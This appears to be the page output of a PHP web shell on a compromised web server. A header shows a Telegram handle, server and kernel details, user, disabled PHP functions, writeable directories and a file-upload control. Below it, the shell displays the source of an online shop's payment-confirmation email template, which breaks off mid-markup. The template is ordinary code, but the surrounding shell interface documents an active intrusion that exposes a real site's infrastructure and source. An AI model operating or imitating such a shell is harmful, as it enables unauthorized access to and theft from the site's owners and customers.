https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/laciasmara.com/public_html/shop/application/views/email/english/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/laciasmara.com/public_html/shop/application/views/email/english/payment_confirmation.php
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional //EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:v="urn:schemas-microsoft-com:vml" xmlns:o="urn:schemas-microsoft-com:office:office">

<head>
	<!--[if gte mso 9]>
<xml>
  <o:OfficeDocumentSettings>
    <o:AllowPNG/>
    <o:PixelsPerInch>96</o:PixelsPerInch>
  </o:OfficeDocumentSettings>
</xml>
<![endif]-->
	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta name="x-apple-disable-message-reformatting">
	<!--[if !mso]><!-->
	<meta http-equiv="X-UA-Compatible" content="IE=edge"><!--<![endif]-->
	<title></title>





	<!--[if !mso]><!-->
	<link href="https://fonts.googleapis.com/css?family=Open+Sans:400,700&display=swap" rel="stylesheet" type="text/css"><!--<![endif]-->

	<style type="text/css">
		@media only screen and (min-width: 670px) {
			.u-row {
				width: 650px !important;
			}

		}

		@media only screen and (min-width: 670px) {
			.u-row .u-col {
				vertical-align: top;
			}

		}

		@media only screen and (min-width: 670px) {
			.u-row .u-col-50 {
				width: 325px !important;
			}

		}

		@media only screen and (min-width: 670px) {
			.u-row .u-col-100 {
				width: 650px !important;
			}

		}

		@media (max-width: 670px) {
			.u-row-container {
				max-width: 100% !important;
				padding-left: 0px !important;
				padding-right: 0px !important;
			}

		}

		@media (max-width: 670px) {
			.u-row .u-col {
				min-width: 320px !important;
				max-width: 100% !important;
				display: block !important;
			}

		}

		@media (max-width: 670px) {
			.u-row {
				width: 100% !important;
			}

		}

		@media (max-width: 670px) {
			.u-col {
				width: 100% !important;
			}

		}

		@media (max-width: 670px) {
			.u-col>div {
				margin: 0 auto;
			}

		}

		body {
			margin: 0;
			padding: 0;
		}

		table,
		tr,
		td {
			vertical-align: top;
			border-collapse: collapse;
		}

		p {
			margin: 0;
		}

		.ie-container table,
		.mso-container table {
			table-layout: fixed;
		}

		* {
			line-height: inherit;
		}

		a[x-apple-data-detectors=true] {
			color: inherit !important;
			text-decoration: none !important;
		}

		table,
		td {
			color: #000000;
		}

		#u_body a {
			color: #0000ee;
			text-decoration: underline;
		}

		@media (max-width: 480px) {
			#u_content_image_6 .v-src-width {
				width: auto !important;
			}

		}

		@media (max-width: 480px) {
			#u_content_image_6 .v-src-max-width {
				max-width: 30% !important;
			}

		}
	</style>
</head>

<body class="clean-body u_body" style="margin: 0;padding: 0;-webkit-text-size-adjust: 100%;background-color: #a9f8c9;color: #000000">
	<!--[if IE]><div class="ie-container"><![endif]-->
	<!--[if mso]><div class="mso-container"><![endif]-->
	<?php
	$shipping_fee = null;

	if ($order->shipping_fee == 0) :
		$shipping_fee = 'Free';
	else :
		if ($order->indent_shipping_fee > 0) :
			if ($order->indent_shipping_fee == $order->shipping_fee) :
				$shipping_fee = 'TBC';
			else :
				$shipping_fee = 'IDR ' . number_format($order->shipping_fee - $order->indent_shipping_fee);
			endif;
		else :
			$shipping_fee = 'IDR ' . number_format($order->shipping_fee);
		endif;
	endif;

	$finalshippingfee = 0;
	$calculate_finalshippingfee = $order->shipping_fee - $order->free_shipping_fee;
	if ($calculate_finalshippingfee > 0) {
		$finalshippingfee = $calculate_finalshippingfee;
		$shipping_fee = 'IDR ' . number_format($finalshippingfee);
	}
	?>
	<table id="u_body" style="border-collapse: collapse;table-layout: fixed;border-spacing: 0;mso-table-lspace: 0pt;mso-table-rspace: 0pt;vertical-align: top;min-width: 320px;Margin: 0 auto;background-color: #a9f8c9;width:100%" cellpadding="0" cellspacing="0">
		<tbody>
			<tr style="vertical-align: top">
				<td style="word-break: break-word;border-collapse: collapse !important;vertical-align: top">
					<!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td align="center" style="background-color: #a9f8c9;"><![endif]-->


					<div class="u-row-container" style="padding: 0px;background-color: #843fa1">
						<div class="u-row" style="Margin: 0 auto;min-width: 320px;max-width: 650px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: transparent;">
							<div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
								<!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 0px;background-color: #843fa1;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:650px;"><tr style="background-color: transparent;"><![endif]-->

								<!--[if (mso)|(IE)]><td align="center" width="650" style="width: 650px;padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;" valign="top"><![endif]-->
								<div class="u-col u-col-100" style="max-width: 320px;min-width: 650px;display: table-cell;vertical-align: top;">
									<div style="height: 100%;width: 100% !important;">
										<!--[if (!mso)&(!IE)]><!-->
										<div style="box-sizing: border-box; height: 100%; padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;"><!--<![endif]-->

											<table id="u_content_image_6" style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
												<tbody>
													<tr>
														<td style="overflow-wrap:break-word;word-break:break-word;padding:20px 10px;font-family:arial,helvetica,sans-serif;" align="left">

															<table width="100%" cellpadding="0" cellspacing="0" border="0">
																<tr>
																	<td style="padding-right: 0px;padding-left: 0px;" align="center">
																		<a href="https://www.laciasmara.com/" target="_blank">
																			<img align="center" border="0" src="<?= base_url(); ?>uploads/icon/LogoLaciAsmaraPutihEmail.png" alt="" style="outline: none;text-decoration: none;-ms-interpolation-mode: bicubic;clear: both;display: inline-block !important;border: none;height: auto;float: none;width: 22%;max-width: 138.6px;" width="138.6" class="v-src-width v-src-max-width">
																		</a>
																	</td>
																</tr>
															</table>

														</td>
													</tr>
												</tbody>
											</table>

											<!--[if (!mso)&(!IE)]><!-->
										</div><!--<![endif]-->
									</div>
								</div>
								<!--[if (mso)|(IE)]></td><![endif]-->
								<!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
							</div>
						</div>
					</div>



					<div class="u-row-container" style="padding: 0px;background-color: #843fa1">
						<div class="u-row" style="Margin: 0 auto;min-width: 320px;max-width: 650px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: #ffffff;">
							<div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
								<!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 0px;background-color: #843fa1;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:650px;"><tr style="background-color: #ffffff;"><![endif]-->

								<!--[if (mso)|(IE)]><td align="center" width="650" style="width: 650px;padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;" valign="top"><![endif]-->
								<div class="u-col u-col-100" style="max-width: 320px;min-width: 650px;display: table-cell;vertical-align: top;">
									<div style="height: 100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;">
										<!--[if (!mso)&(!IE)]><!-->
										<div style="box-sizing: border-box; height: 100%; padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;"><!--<![endif]-->

											<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
												<tbody>
													<tr>
														<td style="overflow-wrap:break-word;word-break:break-word;padding:20px 10px;font-family:arial,helvetica,sans-serif;" align="left">

															<h1 style="margin: 0px; color: #000000; line-height: 140%; text-align: center; word-wrap: break-word; font-family: inherit; font-size: 30px; font-weight: 400;">Your payment has been received</h1>

														</td>
													</tr>
												</tbody>
											</table>

											<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
												<tbody>
													<tr>
														<td style="overflow-wrap:break-word;word-break:break-word;padding:10px 50px;font-family:arial,helvetica,sans-serif;" align="left">

															<div style="font-size: 14px; color: #5e5e5e; line-height: 170%; text-align: center; word-wrap: break-word;">
																<p style="line-height: 170%; text-align: center;"><span style="color: #000000; line-height: 23.8px; font-family: inherit;">We will dispatch your order.</span><br><br></p>
															</div>

														</td>
													</tr>
												</tbody>
											</table>

											<!--[if (!mso)&(!IE)]><!-->
										</div><!--<![endif]-->
									</div>
								</div>
								<!--[if (mso)|(IE)]></td><![endif]-->
								<!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
							</div>
						</div>
					</div>



					<div class="u-row-container" style="padding: 0px;background-color: #843fa1">
						<div class="u-row" style="Margin: 0 auto;min-width: 320px;max-width: 650px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: #ffffff;">
							<div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
								<!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 0px;background-color: #843fa1;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:650px;"><tr style="background-color: #ffffff;"><![endif]-->

								<!--[if (mso)|(IE)]><td align="center" width="325" style="width: 325px;padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;" valign="top"><![endif]-->
								<div class="u-col u-col-50" style="max-width: 320px;min-width: 325px;display: table-cell;vertical-align: top;">
									<div style="height: 100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;">
										<!--[if (!mso)&(!IE)]><!-->
										<div style="box-sizing: border-box; height: 100%; padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;"><!--<![endif]-->

											<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
												<tbody>
													<tr>
														<td style="overflow-wrap:break-word;word-break:break-word;padding:10px 10px 10px 50px;font-family:arial,helvetica,sans-serif;" align="left">

															<div style="font-size: 14px; line-height: 140%; text-align: left; word-wrap: break-word;">
																<p style="line-height: 140%;"><strong><span style="text-decoration: underline; line-height: 19.6px;">Order Detail</span></strong></p>
																<br>
																<p style="line-height: 140%;"><span style="line-height: 19.6px;">Order Number:<br><?= $order->id_orders; ?></span></p>
																<br>
																<p style="line-height: 140%;"><span style="line-height: 19.6px;">Customer:<br><?= ucwords($customer->name); ?></span></p>
																<br>
																<p style="line-height: 140%;"><span style="line-height: 19.6px;">Email:<br><?= $customer->email; ?></span></p>
															</div>

														</td>
													</tr>
												</tbody>
											</table>

											<!--[if (!mso)&(!IE)]><!-->
										</div><!--<![endif]-->
									</div>
								</div>
								<!--[if (mso)|(IE)]></td><![endif]-->
								<!--[if (mso)|(IE)]><td align="center" width="325" style="width: 325px;padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;" valign="top"><![endif]-->
								<div class="u-col u-col-50" style="max-width: 320px;min-width: 325px;display: table-cell;vertical-align: top;">
									<div style="height: 100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;">
										<!--[if (!mso)&(!IE)]><!-->
										<div style="box-sizing: border-box; height: 100%; padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;"><!--<![endif]-->

											<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
												<tbody>
													<tr>
														<td style="overflow-wrap:break-word;word-break:break-word;padding:10px 50px 10px 10px;font-family:arial,helvetica,sans-serif;" align="left">

															<div style="font-size: 14px; line-height: 140%; text-align: left; word-wrap: break-word;">
																<p style="line-height: 140%;"><span style="text-decoration: underline; line-height: 19.6px;"><strong>Payment Information</strong></span></p>
																<br>
																<p style="line-height: 140%;">Payment method:<br><?= $order->payment_type; ?></p>
																<br>
																<p style="line-height: 140%;">Status:<br>Paid</p>
															</div>

														</td>
													</tr>
												</tbody>
											</table>

											<!--[if (!mso)&(!IE)]><!-->
										</div><!--<![endif]-->
									</div>
								</div>
								<!--[if (mso)|(IE)]></td><![endif]-->
								<!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
							</div>
						</div>
					</div>



					<div class="u-row-container" style="padding: 0px;background-color: #843fa1">
						<div class="u-row" style="Margin: 0 auto;min-width: 320px;max-width: 650px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: #ffffff;">
							<div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
								<!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 0px;background-color: #843fa1;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:650px;"><tr style="background-color: #ffffff;"><![endif]-->

								<!--[if (mso)|(IE)]><td align="center" width="650" style="width: 650px;padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;" valign="top"><![endif]-->
								<div class="u-col u-col-100" style="max-width: 320px;min-width: 650px;display: table-cell;vertical-align: top;">
									<div style="height: 100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;">
										<!--[if (!mso)&(!IE)]><!-->
										<div style="box-sizing: border-box; height: 100%; padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;"><!--<![endif]-->

											<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
												<tbody>
													<tr>
														<td style="overflow-wrap:break-word;word-break:break-word;padding:10px 50px;font-family:arial,helvetica,sans-serif;" align="left">

															<div style="font-size: 14px; color: #5e5e5e; line-height: 170%; text-align: center; word-wrap: break-word;">
																<p style="line-height: 170%; text-align: left;"><span style="text-decoration: underline; line-height: 23.8px; color: #000000; font-family: inherit;"><strong><span style="font-size: 16px; line-height: 27.2px;">Shipping Detail</span></strong></span></p>
																<br>
																<p style="line-height: 170%; text-align: left;"><span style="font-family: inherit; line-height: 23.8px; color: #000000;">Shipping Address:</span><br><span style="font-family: inherit; line-height: 23.8px; color: #000000;"><?= ucwords($order->recipient_name);  ?></span><br><span style="font-family: inherit; line-height: 23.8px; color: #000000;"><?= ucwords($order->address); ?>.</span><br><span style="font-family: inherit; line-height: 23.8px; color: #000000;"><?= ucwords($order->subdistrict); ?>.</span><br><span style="font-family: inherit; line-height: 23.8px; color: #000000;"><?= ucwords($order->district); ?>.</span><br><span style="font-family: inherit; line-height: 23.8px; color: #000000;"><?= ucwords($order->province); ?>.</span><br><span style="font-family: inherit; line-height: 23.8px; color: #000000;"><?= $order->country . ' ' . $order->postcode; ?></span></p>
																<p style="line-height: 170%; text-align: left;"><span style="font-family: inherit; line-height: 23.8px; color: #000000;"></span><br><span style="font-family: inherit; line-height: 23.8px; color: #000000;">Shipping fee:</span><br><span style="font-family: inherit; line-height: 23.8px; color: #000000;"><?= $shipping_fee; ?></span></p>
																<br>
															</div>

														</td>
													</tr>
												</tbody>
											</table>

											<!--[if (!mso)&(!IE)]><!-->
										</div><!--<![endif]-->
									</div>
								</div>
								<!--[if (mso)|(IE)]></td><![endif]-->
								<!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
							</div>
						</div>
					</div>

					<div class="u-row-container" style="padding: 0px;background-color: #843fa1">
						<div class="u-row" style="Margin: 0 auto;min-width: 320px;max-width: 650px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: #ffffff;">
							<div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
								<!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 0px;background-color: #843fa1;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:650px;"><tr style="background-color: #ffffff;"><![endif]-->

								<!--[if (mso)|(IE)]><td align="center" width="325" style="width: 325px;padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;" valign="top"><![endif]-->
								<div class="u-col u-col-50" style="max-width: 320px;min-width: 325px;display: table-cell;vertical-align: top;">
									<div style="height: 100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;">
										<!--[if (!mso)&(!IE)]><!-->
										<div style="box-sizing: border-box; height: 100%; padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;"><!--<![endif]-->

											<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
												<tbody>
													<tr>
														<td style="overflow-wrap:break-word;word-break:break-word;padding:10px 10px 10px 50px;font-family:arial,helvetica,sans-serif;" align="left">

															<div style="font-size: 14px; line-height: 140%; text-align: left; word-wrap: break-word;">
																<p style="line-height: 140%;"><strong><span style="text-decoration: underline; line-height: 19.6px;">Order Summary</span></strong></p>
																<p style="line-height: 140%;"></p>
																<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
																	<tbody>
																		<tr>
																			<td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

																				<div>
																					<table class="m_2258036972115952115tbl2" style="margin-top:15px;width:100%">
																						<tbody>
																							<?php
																							$subtotal = 0;
																							$cntr_no = 0;
																							foreach ($order_details as $item) : ?>
																								<?php $cntr_no++; ?>
																								<tr>
																									<td style="width: 6%;">
																										<?= $cntr_no . '.'; ?>
																									</td>
																									<td style="width: 60%;">
																										<?= ucwords($item->item_name); ?><br>
																										<?php
																										//get SKU
																										$sku = $this->db->select('sku')->from('product_details')->where('id', $item->item_id)->get()->row()->sku;
																										?>
																										<?= ucwords($item->attributes); ?><br>
																										<?= ucwords($sku); ?><br>
																										<?php if ($item->is_backorder == 'yes') : ?>
																											Indent. <?= $item->indent_message; ?>
																										<?php endif; ?>
																									</td>
																									<td></td>
																									<td style="">IDR <?= number_format($item->subtotal); ?></td>
																								</tr>
																							<?php
																								$subtotal = $subtotal + $item->subtotal;
																							endforeach; ?>
																						</tbody>
																						<tfoot>
																							<?php
																							$first_discount = 0;
																							if ($order->first == 1) {
																								if (empty($order->referral)) {
																									$first_discount = $order->total_amount * 0.05;
																								} else {
																									if ($order->referral == 'laciput') {
																										$first_discount = $order->total_amount * 0.05;
																									} else {
																										$first_discount = $order->total_amount * 0.1;
																									}
																								}
																							}

																							if ($order->insurance_status == 'Yes') {
																								$insurance = $order->insurance_cost;
																							} else {
																								$insurance = 0;
																							}
																							$grand_total = ($insurance + $subtotal - $order->redeemed_voucher_amount - $order->minus_reward_amount) + ($finalshippingfee) - $order->indent_remaining - $order->indent_shipping_fee - $first_discount;
																							?>
																							<tr>
																								<td style="padding-bottom: 10px; border-bottom: 1px solid black;" colspan="4"></td>
																							</tr>
																							<tr>
																								<td></td>
																								<td></td>
																								<td>
																									Sub Total
																								</td>
																								<td>
																									IDR <?= number_format($subtotal); ?>
																								</td>
																							</tr>
																							<tr>
																								<td></td>
																								<td></td>
																								<td>
																									Discount
																								</td>
																								<td>
																									<?php if ($order->redeemed_voucher_code != null) : ?>
																										IDR <?= number_format($order->redeemed_voucher_amount); ?>
																									<?php else : ?>
																										IDR 0
																									<?php endif; ?>
																								</td>
																							</tr>
																							<tr>
																								<td></td>
																								<td></td>
																								<td>
																									Point
																								</td>
																								<td>
																									+ <?= number_format($subtotal / 10000); ?>
																								</td>
																							</tr>
																							<tr>
																								<td></td>
																								<td></td>
																								<td>
																									Shipping
																								</td>
																								<td>
																									<?= $shipping_fee; ?>
																								</td>
																							</tr>
																							<tr>
																								<td></td>
																								<td></td>
																								<td>
																									Insurance
																								</td>
																								<td>
																									IDR <?= number_format($insurance); ?> </td>
																							</tr>
																							<?php
																							// Inisialisasi diskon
																							$disc_first = 0;

																							// Cek referral dan kategorinya
																							if (empty($order->referral)) {
																								// Jika tidak ada referral, diskon default 5%
																								$disc_first = 0.05; // Diskon 5%
																							} else {
																								// Ambil kategori dari affiliator berdasarkan referral
																								$affiliator = $this->db->select('kategori')
																									->from('affiliator_register')
																									->where('referral', $order->referral)
																									->get()
																									->row();

																								// Tentukan diskon berdasarkan kategori
																								if ($affiliator) {
																									if ($affiliator->kategori == 'asmaradoor') {
																										$disc_first = 0.10; // Diskon 10% untuk asmaradoor
																									} elseif ($affiliator->kategori == 'asmarasana') {
																										$disc_first = 0.05; // Diskon 5% untuk asmarasana
																									} else {
																										// Kategori lainnya (jika ada) bisa ditentukan di sini
																										$disc_first = 0.05; // Atau diskon default lainnya
																									}
																								} else {
																									// Jika tidak ada affiliator, diskon default
																									$disc_first = 0.05; // Diskon 5%
																								}
																							}

																							// Hitung potongan untuk pelanggan baru hanya jika ini adalah pembelian pertama
																							if ($order->first == 1) {
																								// Hitung total diskon berdasarkan total_amount
																								$first_discount = $order->total_amount * $disc_first; // Gunakan total_amount untuk diskon
																							?>
																								<tr>
																									<td></td>
																									<td></td>
																									<td>Potongan Pelanggan Baru</td>
																									<td>IDR -<?= number_format($first_discount); ?></td>
																								</tr>
																							<?php } ?>
																							<tr>
																								<td></td>
																								<td></td>
																								<td>
																									Total
																								</td>
																								<td>
																									IDR <?= number_format($grand_total); ?>
																								</td>
																							</tr>
																						</tfoot>
																					</table>
																					<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
																						<tbody>
																							<tr>
																								<td style="overflow-wrap:break-word;word-break:break-word;padding:10px;font-family:arial,helvetica,sans-serif;" align="left">

																									<div style="font-size: 14px; line-height: 140%; text-align: left; word-wrap: break-word;">
																										<p style="line-height: 140%;">We always love to see you happy !<br>Learn more about our <a rel="noopener" href="https://www.laciasmara.com/shop/page/packaging-dan-shipping" target="_blank">Packing and Shipping</a>, <a rel="noopener" href="https://www.laciasmara.com/shop/page/return-and-exchange" target="_blank">Returns and Exchanges</a> policy</p>
																									</div>

																								</td>
																							</tr>
																						</tbody>
																					</table>
																				</div>

																			</td>
																		</tr>
																	</tbody>
																</table>
															</div>

														</td>
													</tr>
												</tbody>

											</table>

											<!--[if (!mso)&(!IE)]><!-->
										</div><!--<![endif]-->
									</div>
								</div>
								<!--[if (mso)|(IE)]></td><![endif]-->
								<!--[if (mso)|(IE)]></tr></table></td></tr></table><![endif]-->
							</div>
						</div>
					</div>



					<div class="u-row-container" style="padding: 0px;background-color: #843fa1">
						<div class="u-row" style="Margin: 0 auto;min-width: 320px;max-width: 650px;overflow-wrap: break-word;word-wrap: break-word;word-break: break-word;background-color: #843fa1;">
							<div style="border-collapse: collapse;display: table;width: 100%;height: 100%;background-color: transparent;">
								<!--[if (mso)|(IE)]><table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td style="padding: 0px;background-color: #843fa1;" align="center"><table cellpadding="0" cellspacing="0" border="0" style="width:650px;"><tr style="background-color: #843fa1;"><![endif]-->

								<!--[if (mso)|(IE)]><td align="center" width="650" style="width: 650px;padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;" valign="top"><![endif]-->
								<div class="u-col u-col-100" style="max-width: 320px;min-width: 650px;display: table-cell;vertical-align: top;">
									<div style="height: 100%;width: 100% !important;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;">
										<!--[if (!mso)&(!IE)]><!-->
										<div style="box-sizing: border-box; height: 100%; padding: 0px;border-top: 0px solid transparent;border-left: 0px solid transparent;border-right: 0px solid transparent;border-bottom: 0px solid transparent;border-radius: 0px;-webkit-border-radius: 0px; -moz-border-radius: 0px;"><!--<![endif]-->

											<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
												<tbody>
													<tr>
														<td style="overflow-wrap:break-word;word-break:break-word;padding:30px 10px 10px;font-family:arial,helvetica,sans-serif;" align="left">

															<h2 style="margin: 0px; color: #ffffff; line-height: 140%; text-align: center; word-wrap: break-word; font-family: 'Open Sans',sans-serif; font-size: 20px; font-weight: 400;"><strong>Follow Us</strong></h2>

														</td>
													</tr>
												</tbody>
											</table>

											<table style="font-family:arial,helvetica,sans-serif;" role="presentation" cellpadding="0" cellspacing="0" width="100%" border="0">
												<tbody>
													<tr>
														<td style="overflow-wrap:break-word;word-break:break-word;padding:10px 10px 30px;font-family:arial,helvetica,sans-serif;" align="left">

															<div align="center">
																<div style="display: table; max-width:140px;">
																	<!--[if (mso)|(IE)]><table width="140" cellpadding="0" cellspacing="0" border="0"><tr><td style="border-collapse:collapse;" align="center"><table width="100%" cellpadding="0" cellspacing="0" border="0" style="border-collapse:collapse; mso-table-lspace: 0pt;mso-table-rspace: 0pt; width:140px;"><tr><![endif]-->


																	<!--[if (mso)|(IE)]><td width="32" style="width:32px; padding-right: 15px;" valign="top"><![endif]-->
																	<table align="left" border="0" cellspacing="0" cellpadding="0" width="32" height="32" style="width: 32px !important;height: 32px !important;display: inline-block;border-collapse: collapse;table-layout: fixed;border-spacing: 0;mso-table-lspace: 0pt;mso-table-rspace: 0pt;vertical-align: top;margin-right: 15px">
																		<tbody>
																			<tr style="vertical-align: top">
																				<td align="left" valign="middle" style="word-break: break-word;border-collapse: collapse !important;vertical-align: top">
																					<a href="https://www.facebook.com/laciasmara.jakarta/" title="Facebook" target="_blank">
																						<img src="https://mcusercontent.com/109aaa478076d2375400ebc91/images/5f41483b-a285-9248-6c51-ef4edc711518.png" alt="Facebook" title="Facebook" width="32" style="outline: none;text-decoration: none;-ms-interpolation-mode: bicubic;clear: both;display: block !important;border: none;height: auto;float: none;max-width: 32px !important">
																					</a>
																				</td>
																			</tr>
																		</tbody>
																	</table>
																	<!--[if (mso)|(IE)]></td><![endif]-->

																	<!--[if (mso)|(IE)]><td width="32" style="width:32px; padding-right: 15px;" valign="top"><![endif]-->
																	<table align="left" border="0" cellspacing="0" cellpadding="0" width="32" height="32" style="width: 32px !important;height: 32px !important;display: inline-block;border-collapse: collapse;table-layout: fixed;border-spacing: 0;mso-table-lspace: 0pt;mso-table-rspace: 0pt;vertical-align: top;margin-right: 15px">
																		<tbody>
																			<tr style="vertical-align: top">
																				<td align="left" valign="middle" style="word-break: break-word;border-collapse: collapse !important;vertical-align: top">
																					<a href="https://www.youtube.com/channel/UCQdtLfDr5Bdz3zZUo1GMnJg" title="YouTube" target="_blank">
																						<img src="https://mcusercontent.com/109aaa478076d2375400ebc91/images/e7c5e82b-7072-d1a9-f54b-a2ee07560c17.png" alt="YouTube" title="YouTube" width="32" style="outline: none;text-decoration: none;-ms-interpolation-mode: bicubic;clear: both;display: block !important;border: none;height: auto;float: none;max-width: 32px !important">
																					</a>
																				</td>
																			</tr>
																		</tbody>
																	</table>
																	<!--[if (mso)|(IE)]></td><![endif]-->

																	<!--[if (mso)|(IE)]><td width="32" style="width:32px; padding-right: 0px;" valign="top"><![endif]-->
																	<table align="left" border="0" cellspacing="0" cellpadding="0" width="32" height="32" style="width: 32px !important;height: 32px !important;display: inline-block;border-collapse: collapse;table-layout: fixed;border-spacing: 0;mso-table-lspace: 0pt;mso-table-rspace: 0pt;vertical-align: top;margin-right: 0px">
																		<tbody>
																			<tr style="vertical-align: top">
																				<td align="left" valign="middle" style="word-break: break-word;border-collapse: collapse !important;vertical-align: top">
																					<a href="https://www.instagram.com/laciasmara/" title="Instagram" target="_blank">
																						<img src="https://mcusercontent.com/109aaa478076d2375400ebc91/images/c6437470-ead1-844f-6546-b631da91eab1.png" alt="Instagram" title="Instagram" width="32" style="outline: none;text-decoration: none;-ms-interpolation-mode: bicubic;clear: both;display: block !important;border: none;height: auto;float: none;max-width: 32px !important">
																					</a>
																				</td>
																			</tr>
																		</tbody>
																	</table>
																	<!--[if (mso)|(IE)]></td><![endif]-->


